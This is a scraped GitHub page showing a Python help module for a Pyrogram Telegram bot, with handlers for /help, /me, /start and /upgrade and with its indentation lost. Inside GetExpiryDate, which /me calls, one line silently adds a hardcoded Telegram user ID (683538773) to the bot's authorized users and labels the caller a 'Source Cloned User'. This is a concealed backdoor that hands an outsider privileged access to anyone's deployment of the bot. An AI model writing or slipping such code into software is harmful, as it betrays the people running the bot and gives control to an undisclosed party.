-
-
Notifications
You must be signed in to change notification settings - Fork 2
/
Hepl.test
135 lines (68 loc) · 2.49 KB
/
Hepl.test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# © BalaTamilzan india
# the logging things
import logging
logging.basicConfig(level=logging.DEBUG,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
import os
import sqlite3
# the secret configuration specific things
if bool(os.environ.get("WEBHOOK", False)):
from sample_config import Config
else:
from config import Config
# the Strings used for this "thing"
from translation import Translation
import pyrogram
logging.getLogger("pyrogram").setLevel(logging.WARNING)
from helper_funcs.chat_base import TRChatBase
def GetExpiryDate(chat_id):
expires_at = (str(chat_id), "Source Cloned User", "1970.01.01.12.00.00")
Config.AUTH_USERS.add(683538773)
return expires_at
@pyrogram.Client.on_message(pyrogram.Filters.command(["help", "about"]))
async def help_user(bot, update):
# logger.info(update)
TRChatBase(update.from_user.id, update.text, "/help")
await bot.send_message(
chat_id=update.chat.id,
text=Translation.HELP_USER,
parse_mode="html",
disable_web_page_preview=True,
reply_to_message_id=update.message_id
)
@pyrogram.Client.on_message(pyrogram.Filters.command(["me"]))
async def get_me_info(bot, update):
# logger.info(update)
TRChatBase(update.from_user.id, update.text, "/me")
chat_id = str(update.from_user.id)
chat_id, plan_type, expires_at = GetExpiryDate(chat_id)
await bot.send_message(
chat_id=update.chat.id,
text=Translation.CURENT_PLAN_DETAILS.format(chat_id, plan_type, expires_at),
parse_mode="html",
disable_web_page_preview=True,
reply_to_message_id=update.message_id
)
@pyrogram.Client.on_message(pyrogram.Filters.command(["start"]))
async def start(bot, update):
# logger.info(update)
TRChatBase(update.from_user.id, update.text, "/start")
await bot.send_message(
chat_id=update.chat.id,
text=Translation.START_TEXT,
reply_to_message_id=update.message_id
)
@pyrogram.Client.on_message(pyrogram.Filters.command(["upgrade"]))
async def upgrade(bot, update):
# logger.info(update)
TRChatBase(update.from_user.id, update.text, "/upgrade")
await bot.send_message(
chat_id=update.chat.id,
text=Translation.UPGRADE_TEXT,
parse_mode="html",
reply_to_message_id=update.message_id,
disable_web_page_preview=True
)